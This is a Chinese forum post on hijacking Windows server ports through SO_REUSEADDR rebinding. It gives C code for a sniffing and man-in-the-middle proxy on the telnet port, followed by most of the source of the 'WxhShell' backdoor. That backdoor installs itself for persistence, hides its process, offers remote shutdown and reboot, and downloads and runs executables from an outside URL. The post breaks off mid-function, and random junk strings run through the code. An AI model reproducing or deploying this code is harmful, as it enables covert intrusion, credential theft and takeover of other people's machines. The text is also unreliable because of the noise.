社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18458阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: # t Ki6u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T9?_ `h  
mIodD)?{  
  saddr.sin_family = AF_INET; {'kL]qLg  
i`L66uV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /WVMT]T6^,  
1Tr=*b %f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'WCTjTob/  
c= u ORt>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?,C,q5 T\  
?K 0V#aq  
  这意味着什么?意味着可以进行如下的攻击: g\'84:*J\  
92Iv'(1ba  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9~I WGj?  
LJ3UB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u*`GIRfWT  
6suc:rp";  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #u@!O%MJ  
kw'D2692  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^XVa!s,d  
#cb6~AH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D(|$6J 0  
h+@t8Q;gGw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BW 7[JD  
^pa).B.`T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 my6T@0R  
OQvJdjST  
  #include Qafg/JU  
  #include "o^zOU  
  #include ta(x4fP_  
  #include    + aF jtb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f *vziC<m  
  int main() VuW19-G  
  { Xy +|D#b  
  WORD wVersionRequested; mgWtjV 8  
  DWORD ret; z16++LKmM  
  WSADATA wsaData; [-ecKPx  
  BOOL val; m<4Lo0?nS  
  SOCKADDR_IN saddr; &IYkeGQr  
  SOCKADDR_IN scaddr; D=Y HJ>-wB  
  int err; H<"j3qt  
  SOCKET s; ,e,{6Sg6gl  
  SOCKET sc; !k63 `(Ti  
  int caddsize; <T]kpP<lC  
  HANDLE mt; N}= - +E|  
  DWORD tid;   -(EqBr@_  
  wVersionRequested = MAKEWORD( 2, 2 ); \Wk$>?+#@  
  err = WSAStartup( wVersionRequested, &wsaData ); WyETg!b[  
  if ( err != 0 ) { Jo0x/+?,+  
  printf("error!WSAStartup failed!\n"); I j /J  
  return -1; I_rVeMw=  
  } 4dP_'0]9A:  
  saddr.sin_family = AF_INET; JiR|+6"7  
   1Rh&04O>VL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xT/&'$@{)  
o%a$m9I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `U R.Rn/x  
  saddr.sin_port = htons(23); 3^Y-P8.zdB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4]GyuY  
  { hGeRM4zVZZ  
  printf("error!socket failed!\n"); Fwr,e;Z  
  return -1; 53QP~[F8R]  
  } p=zm_+=  
  val = TRUE; ,J~dER\%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8 _J:Yg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 21qhlkdc  
  { .+<K-'&=  
  printf("error!setsockopt failed!\n"); >/*\x g&J  
  return -1; VbjFQ@[l!  
  } ?:E;C<Ar  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kAoai|m@R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~U|te_l  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XV&3h>5  
|8B[yr.b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;#due  
  { 0/Csc\Xl  
  ret=GetLastError(); 1^COR+>L  
  printf("error!bind failed!\n"); -Da_#_F  
  return -1; /%)J+K)  
  } .JqIAC~  
  listen(s,2); Jj!T7f*-GX  
  while(1) gS%J`X$  
  { " O4Z).5q3  
  caddsize = sizeof(scaddr); LM} si|  
  //接受连接请求 0czy:d,M%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FD<~?-  
  if(sc!=INVALID_SOCKET) 8Y9mB #X  
  { TsQMwV_h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G>Q{[m$  
  if(mt==NULL) &}]Wbk4:  
  { }Y[.h=X  
  printf("Thread Creat Failed!\n"); z)26Ahm TV  
  break; &e(de$}xt  
  } S%4 K-I  
  } KH;e)91  
  CloseHandle(mt); 6Z$T& Ul{  
  } y& )z\8  
  closesocket(s); =<g\B?s]  
  WSACleanup(); 2eNm2;  
  return 0; ,MLPVDN*D  
  }   R:E`  
  DWORD WINAPI ClientThread(LPVOID lpParam) $j:0*Z=>  
  { 4l|Am3vzX  
  SOCKET ss = (SOCKET)lpParam; dL"v*3Fy  
  SOCKET sc; 'D1@+FFU0  
  unsigned char buf[4096]; =X`/.:%|[  
  SOCKADDR_IN saddr; [L8gG.wy  
  long num; sJ,zB[e8  
  DWORD val; T:si?7CR  
  DWORD ret; |y]#-T?)t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6ugBbP +^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yY1&h op  
  saddr.sin_family = AF_INET; *"#>Ov>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ISl'g'o  
  saddr.sin_port = htons(23); ?0.+DB $  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MG~^>  
  { +h =lAHn&  
  printf("error!socket failed!\n"); *mYec~  
  return -1; 'K0Y@y  
  } ]`MRH[{  
  val = 100; }, ]W/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B *:6U+I  
  { (Yx rZ_F'b  
  ret = GetLastError(); k,r\^1h  
  return -1; Y4i-Pp?  
  } *P_TG"^{W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #i~.wQ $1  
  { x>t:&Y M  
  ret = GetLastError(); xQN](OKG  
  return -1; 'Ct+0X:D  
  } 5!AzEB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bdq/Ohw|!  
  { sl)_HA7G  
  printf("error!socket connect failed!\n"); w_9:gprf  
  closesocket(sc); RY*6TYX!  
  closesocket(ss); )]/!:I4e  
  return -1; r+) A)a,  
  } nGRF< 2!  
  while(1) r:u5+A  
  { Q.!8q3`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iJq}tIk#2'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8Uc#>Ae'_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0.?|%;^ib  
  num = recv(ss,buf,4096,0); 8zr)oQ:  
  if(num>0) ?4xTA  
  send(sc,buf,num,0); f~E'0f_  
  else if(num==0) MJK L4 G  
  break; ]e+S~me  
  num = recv(sc,buf,4096,0); {4#'`Eejj  
  if(num>0) 4).q+{#k  
  send(ss,buf,num,0); u{I)C0  
  else if(num==0) 27;*6/>,  
  break; * F&C`]  
  } Wvcj\2'yd  
  closesocket(ss); wJ+"JQY.J+  
  closesocket(sc); Zr`:A$  
  return 0 ; Jln dypE  
  } Y,?rykRj  
@v|_APy#  
\p.ku%{  
========================================================== ^f>+5G  
st pa2z  
下边附上一个代码,,WXhSHELL M@ mCBcbN  
l^&#fz  
========================================================== JgEpqA12  
L7 qim.J  
#include "stdafx.h" 1[dza5  
Io| 72W}rg  
#include <stdio.h> LR}b^QU7  
#include <string.h> z$;z&X$j  
#include <windows.h> !x|Ok'izDL  
#include <winsock2.h> eFbr1IV  
#include <winsvc.h> Zs)HzOP)9  
#include <urlmon.h> RBiDU}j  
#m|AQr|  
#pragma comment (lib, "Ws2_32.lib") 8{@#N:SY  
#pragma comment (lib, "urlmon.lib") p.&FK'&[0  
KUZ'$oKg  
#define MAX_USER   100 // 最大客户端连接数 jF{zcYU  
#define BUF_SOCK   200 // sock buffer 2{g~6 U.  
#define KEY_BUFF   255 // 输入 buffer H$WuT;cTE  
k.?b2]@$  
#define REBOOT     0   // 重启 $5|/X&"O)/  
#define SHUTDOWN   1   // 关机 H<g- Bhv  
T[L  
#define DEF_PORT   5000 // 监听端口 W~FcU+a  
#\o VbVq  
#define REG_LEN     16   // 注册表键长度 1+v)#Wj  
#define SVC_LEN     80   // NT服务名长度 BY6QJkI9x  
r `VKb  
// 从dll定义API ]Z2;sA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h9RG?r1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EnZrnoGM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T/UhZ4(V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]xb R:CYJ  
,J~kwJ$L  
// wxhshell配置信息 O$LvHv!  
struct WSCFG { h )fi9  
  int ws_port;         // 监听端口 T)qD}hl  
  char ws_passstr[REG_LEN]; // 口令 C]p3,G,oN  
  int ws_autoins;       // 安装标记, 1=yes 0=no *h$Z:p-g  
  char ws_regname[REG_LEN]; // 注册表键名 rx CSs  
  char ws_svcname[REG_LEN]; // 服务名 rhsSV3iM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZFY t[:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CUaI66  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6m|j " m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &%$r3ePwc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1|Us"GQ (n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 98x]x:mgI_  
b<~\IPY  
}; *O+G}_}  
%70sS].@  
// default Wxhshell configuration A90o X1l  
struct WSCFG wscfg={DEF_PORT, eI/9uR%  
    "xuhuanlingzhe", :"#EQq]ct  
    1, lrPiaSO`I  
    "Wxhshell", 5\A[ra  
    "Wxhshell", cF7I  
            "WxhShell Service", ]4ya$%A  
    "Wrsky Windows CmdShell Service", @YHB>rNf(7  
    "Please Input Your Password: ", c~K^ooS-  
  1, gT 22!  
  "http://www.wrsky.com/wxhshell.exe",  LkD$\i  
  "Wxhshell.exe" !U/iY%NE  
    }; 8A~5@  
!'Q/9%g  
// 消息定义模块 9s8B>(L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $WI=a-;_e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PF+v[h;,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DDsU6RyN  
char *msg_ws_ext="\n\rExit."; <O>1Y09C/  
char *msg_ws_end="\n\rQuit."; |[7xTD  
char *msg_ws_boot="\n\rReboot..."; > SU2Jw  
char *msg_ws_poff="\n\rShutdown..."; gBA UrY%]  
char *msg_ws_down="\n\rSave to "; ,|,DXw  
n [H3b}  
char *msg_ws_err="\n\rErr!"; X>(?  
char *msg_ws_ok="\n\rOK!"; ! ~u;CMR  
NguJ[  
char ExeFile[MAX_PATH]; (iXo\y`z  
int nUser = 0; '8R5?9"  
HANDLE handles[MAX_USER]; E"ijNs  
int OsIsNt; ;I1}g]  
VHGOVH,  
SERVICE_STATUS       serviceStatus; Dm?>U1{   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K+5S7wFDZ  
})rJU/  
// 函数声明 2It$ bz  
int Install(void);  I0trHrX9  
int Uninstall(void); ~3< Li}W  
int DownloadFile(char *sURL, SOCKET wsh); { K'QE0'x  
int Boot(int flag); <2Lcy&w_M  
void HideProc(void); Z6F>SL  
int GetOsVer(void); 5-3`@ (/  
int Wxhshell(SOCKET wsl); x2(!r3a  
void TalkWithClient(void *cs); o7' cC?u  
int CmdShell(SOCKET sock); [HGGXgN  
int StartFromService(void); 5RCZv\Wd&  
int StartWxhshell(LPSTR lpCmdLine); (=c R;\s<  
{h5 S=b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6m"_=.k%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;$gZ?&  
Nn5z   
// 数据结构和表定义 /^v?Q9=Y  
SERVICE_TABLE_ENTRY DispatchTable[] = P{v>o,a.  
{ WX$mAQDV  
{wscfg.ws_svcname, NTServiceMain}, , v,mBYaU  
{NULL, NULL} eJFGgJRIvF  
}; I%.KFPV  
C50&SrnBU1  
// 自我安装 H)tnxD0)  
int Install(void) Z".mEF-b  
{ %upnXRzw  
  char svExeFile[MAX_PATH]; 0O+[z9  
  HKEY key; ,&[2z!  
  strcpy(svExeFile,ExeFile); SA@MJ>Z  
R L&z\S  
// 如果是win9x系统,修改注册表设为自启动 C,T9xm  
if(!OsIsNt) { {a -bew  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &(a#I]`9M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~RGZY/4  
  RegCloseKey(key); k9H7(nS{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VU6nu4   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6) {jHnk)  
  RegCloseKey(key); 7 \)OWp  
  return 0; dXR 70/  
    } qd\5S*Z1  
  } pJ kaP  
} Y Y4"r\V  
else { s6Ox!)&  
P9h]B u  
// 如果是NT以上系统,安装为系统服务 m:|jv|f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YYfX@`\  
if (schSCManager!=0) ? ->:,I=<~  
{ -+fbK/  
  SC_HANDLE schService = CreateService $t.i)wg +  
  ( Qx{k_ye`  
  schSCManager, v_-S#(  
  wscfg.ws_svcname, \z"0lAv"  
  wscfg.ws_svcdisp, {.c(Sw}Eo  
  SERVICE_ALL_ACCESS, U(#)[S,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GCSR)i|  
  SERVICE_AUTO_START, Sj?u^L8es}  
  SERVICE_ERROR_NORMAL, u%n6!Zx  
  svExeFile, ANB@cK_  
  NULL, `@+}zE  
  NULL, V mxVE=l  
  NULL, HsrIw  
  NULL, <WXO].^  
  NULL $50rj  
  ); ~&-8lD];LM  
  if (schService!=0) (bEX"U-  
  { `CCuwe<v  
  CloseServiceHandle(schService); ;M,u,KH)/  
  CloseServiceHandle(schSCManager); C'8v\C9Ag  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 27mGX\T  
  strcat(svExeFile,wscfg.ws_svcname); Wr3j8"f/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u{Jv6K,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~x<nz/^  
  RegCloseKey(key); jIY    
  return 0; ;A^0="x&  
    }  ut6M$d4  
  } D(3\m)  
  CloseServiceHandle(schSCManager); yn&AMq ]o  
} z@!zQ Vp  
} `J*~B  
>:W7f2%8`  
return 1; En&bwLu:s  
} a*4"j2j v  
u`E24~  
// 自我卸载 q^{Z"ifL  
int Uninstall(void) w k1O*_76  
{ Fv!zS.)`  
  HKEY key; (qn ;MN6<  
M%=V vE.I  
if(!OsIsNt) { U?/UW;k[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +uR|0Jo8X  
  RegDeleteValue(key,wscfg.ws_regname); En@] xvE  
  RegCloseKey(key); {"<6'2T3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YG2rJY+*  
  RegDeleteValue(key,wscfg.ws_regname); Izrf42 >k  
  RegCloseKey(key); C+ {du^c$  
  return 0; W}+f}/&l  
  } x;H#-^LxW=  
} |||uTfrJ  
} &cj/8A5-  
else { F 8*e  
y/' ^r?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +R7";.  
if (schSCManager!=0) KM$5ZbCF:  
{ o`^GUY}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q/w U7P\%  
  if (schService!=0) nnBgTtsC]  
  { }gw `,i  
  if(DeleteService(schService)!=0) { BKoc;20;  
  CloseServiceHandle(schService); 2u9^ )6/  
  CloseServiceHandle(schSCManager); ]:* 8 Mb#  
  return 0; Qxds]5WB/  
  } +3VDapfin  
  CloseServiceHandle(schService); X1*6qd+E  
  } b XcDsP$.  
  CloseServiceHandle(schSCManager); :SxOQ(n  
} UN`F|~@v  
} U^_'e_)  
p'afCX@J  
return 1; (]'Q!MjGa  
} YJgw%UVJ5m  
|_l\.  
// 从指定url下载文件 YxMOr\B  
int DownloadFile(char *sURL, SOCKET wsh) mT57NP  
{ OHnHSb'?\  
  HRESULT hr; 0x'-\)v>3  
char seps[]= "/"; !Ju?REH   
char *token; '8~cf  
char *file; G~ZDXQ>5CP  
char myURL[MAX_PATH]; yjvH)t/!.  
char myFILE[MAX_PATH]; l ' ]d&  
w>I>9O}(`  
strcpy(myURL,sURL); s{q)m@  
  token=strtok(myURL,seps); fShf4G_w\  
  while(token!=NULL) '< OB  j  
  { H[o'j@0  
    file=token; yhr\eiJ@6  
  token=strtok(NULL,seps); )Q 8T`Tly  
  } ^RkHdA  
STgl{#  
GetCurrentDirectory(MAX_PATH,myFILE); 8$avPD3jx  
strcat(myFILE, "\\"); mwFI89J'  
strcat(myFILE, file); 7BCCQsz<  
  send(wsh,myFILE,strlen(myFILE),0); qE6:`f  
send(wsh,"...",3,0); 8VvoPlo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fys@%PZq  
  if(hr==S_OK) [KkLpZG  
return 0; AqVTHyCu  
else zypZ3g{vz  
return 1; <[xxCW(2  
uR"srn;^  
} LGT\1u  
Tgp}k%R~  
// 系统电源模块 |0(Z)s,  
int Boot(int flag) dQ^>,(  
{ x]%e_  
  HANDLE hToken; Oa~t&s  
  TOKEN_PRIVILEGES tkp; P ]2M  
~az 6n)  
  if(OsIsNt) { sSOI5W3A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D8_m_M| P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zdn e2  
    tkp.PrivilegeCount = 1; b@N|sXt&C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , j ,[4^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A <iF37.  
if(flag==REBOOT) { ?[Q;275  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '9GHmtdO,  
  return 0; 5(>m=ef"  
} uc%75TJ@  
else { j._9;HifZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cl2@p@av  
  return 0; _6qf>=qQ`"  
} mBc;^8I?23  
  } +IVVsVp  
  else { /exV6D r  
if(flag==REBOOT) { [w~teX0!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $c0SWz  
  return 0; iAf, :g  
} 133lIX+(k  
else { :RHNV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a#!Vi93  
  return 0; ".v9#|  
} xN2M| E]  
} Opmb   
EBw}/y{Kt  
return 1; 1SkGG0 W  
} * ok89 ad  
3Q[]lFJ}F  
// win9x进程隐藏模块 X =S;8=N  
void HideProc(void) 6luCi$bL  
{ u 8U>R=M  
qChS} Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); - J!F((jt  
  if ( hKernel != NULL ) #x#.@  
  { /.05rTpp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7r"!&P* ,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qo?"hgjlqm  
    FreeLibrary(hKernel); UOF5&>MLb  
  } 8[f]9P/i  
4,FkA_k  
return; &Z=}H0y q  
} XnWr~h{b  
:@_CQc*yB  
// 获取操作系统版本 MnKEZ: 2  
int GetOsVer(void) !i_5Xc H  
{ 4OCz:t  
  OSVERSIONINFO winfo; peGXU/5.I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fLc<}DF  
  GetVersionEx(&winfo); D8`,PXtV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VbBZ\`b  
  return 1; L)Un9&4L  
  else XpOsnvW  
  return 0; L4.yrA-]C%  
} "5XD+qi  
OD>-^W t;%  
// 客户端句柄模块 ]t0?,q.$7  
int Wxhshell(SOCKET wsl) 1ErH \!  
{ %~Nf,  
  SOCKET wsh; "TtK!>!.  
  struct sockaddr_in client; Ow/ /#:  
  DWORD myID; }}grJh>tGg  
AP3SOT3I  
  while(nUser<MAX_USER) 3m7$$ N|  
{ ?Dd2k%o  
  int nSize=sizeof(client); i-sE\m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LfOGq%&  
  if(wsh==INVALID_SOCKET) return 1; FD_0FMZ9,  
,dBtj8=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B HZGQm  
if(handles[nUser]==0) * I'O_D  
  closesocket(wsh); J>hl&J  
else qcQ`WU{  
  nUser++; XZp(Po:H  
  } =5dv38  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * +A!12s@  
'O\K Wj{  
  return 0; %l: %c  
} E6)FYz7x  
cY\-e?`=4  
// 关闭 socket ?_<ZCH  
void CloseIt(SOCKET wsh) D ?,P\cp  
{ dP)8T  
closesocket(wsh); gvA&F |4  
nUser--; rQisk8 %  
ExitThread(0); > )#*}JI  
} /"iYEr%_  
6_zL#7E'  
// 客户端请求句柄 cO(|>&tJ  
void TalkWithClient(void *cs) qV iky=/-  
{ LfgR[!  
1f[!=p  
  SOCKET wsh=(SOCKET)cs; K3 ]hUe#  
  char pwd[SVC_LEN]; & NOKrN~HX  
  char cmd[KEY_BUFF]; iy$]9Wf6=@  
char chr[1]; Zls4@/\Q  
int i,j; hC6$>tl  
C8&)-v|  
  while (nUser < MAX_USER) { 4,$x~m`N  
zT_{M qY  
if(wscfg.ws_passstr) { w`#lLl B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`RTvG Xk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uY "88|  
  //ZeroMemory(pwd,KEY_BUFF); #exE ~@fy-  
      i=0; i"w$D{N  
  while(i<SVC_LEN) { m?<C\&)6x  
/tt  
  // 设置超时 :O//A6 v  
  fd_set FdRead; Atfon&^  
  struct timeval TimeOut; ^{~y+1lt'  
  FD_ZERO(&FdRead); .'.|s?s  
  FD_SET(wsh,&FdRead); aYPzN<"%  
  TimeOut.tv_sec=8; ,qvz:a  
  TimeOut.tv_usec=0; {Lq uOC1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OSkZW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H,H'bd/  
KbwWrf>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @9vz%1B<l  
  pwd=chr[0]; cp.)K!$  
  if(chr[0]==0xd || chr[0]==0xa) { kv (N/G  
  pwd=0; y'4=  
  break; vRT1tOQ$  
  } 1L &_3}  
  i++; U8< GD|  
    } ND21;  
7J>n;8{%?  
  // 如果是非法用户,关闭 socket 1RcaE!\p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sl 6}5  
} 7Bmt^J5i&t  
\W1?Qc1]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UTs0=:+,t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Ff&zBJ  
{SROg;vA  
while(1) { _/MKU!\l  
@ @# G.  
  ZeroMemory(cmd,KEY_BUFF); 0kC!v,  
Y%wF;I1x  
      // 自动支持客户端 telnet标准   .[O*bk  
  j=0; RqcX_x(p  
  while(j<KEY_BUFF) { *;o=hM)Tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TR: D  
  cmd[j]=chr[0]; rcQ?E=V2O  
  if(chr[0]==0xa || chr[0]==0xd) { b(~NqV!i  
  cmd[j]=0; V (X)Qu@R  
  break; `^w5/v#  
  } #j;&g1  
  j++; o'D6lkf0  
    } Wigm`A=,r  
&OuyjW4  
  // 下载文件 6o,, w^  
  if(strstr(cmd,"http://")) { 1~5={eI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~yO.R)4v  
  if(DownloadFile(cmd,wsh)) dks0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK$^@~DE  
  else (dO4ww@O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UGR5ILf  
  } Txw,B2e)>  
  else { ICV67(Ui  
bJ/~UEZw  
    switch(cmd[0]) { 5(DCq(\P*  
  e@X~F6nP  
  // 帮助 Ye(0'*-jyc  
  case '?': { Lw!@[;2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >:wk.<Z-  
    break; r*,]=M W  
  } @rVmr{UE  
  // 安装 dd$\Q  
  case 'i': { O gycP4z[  
    if(Install()) !^\|r<2M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F /t;y\)  
    else fh,Y#.V`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %7V?7BE  
    break; 9$d (`-&9p  
    } oA42?I ^  
  // 卸载 t$UFR7XE  
  case 'r': { EzthRe9  
    if(Uninstall()) u`   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <vbk@d  
    else j[Et+V?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @];Xbbw+c  
    break; orL7y&w(v:  
    } } 10Dvt>+  
  // 显示 wxhshell 所在路径 R?]>8o,  
  case 'p': { :!aFfb["  
    char svExeFile[MAX_PATH]; (1TYJ. Z  
    strcpy(svExeFile,"\n\r"); DpTQPu9  
      strcat(svExeFile,ExeFile); lUWjm%|  
        send(wsh,svExeFile,strlen(svExeFile),0); Y4b"(ZhM_  
    break; =zbrXtp,  
    } -4HI9Czts  
  // 重启 KXdls(ROP  
  case 'b': { ^(6.P)$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @c.QrKSaD  
    if(Boot(REBOOT)) \W$>EH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sb8SG_c.  
    else { Wc+ e>*  
    closesocket(wsh); 5a_K|(~3I  
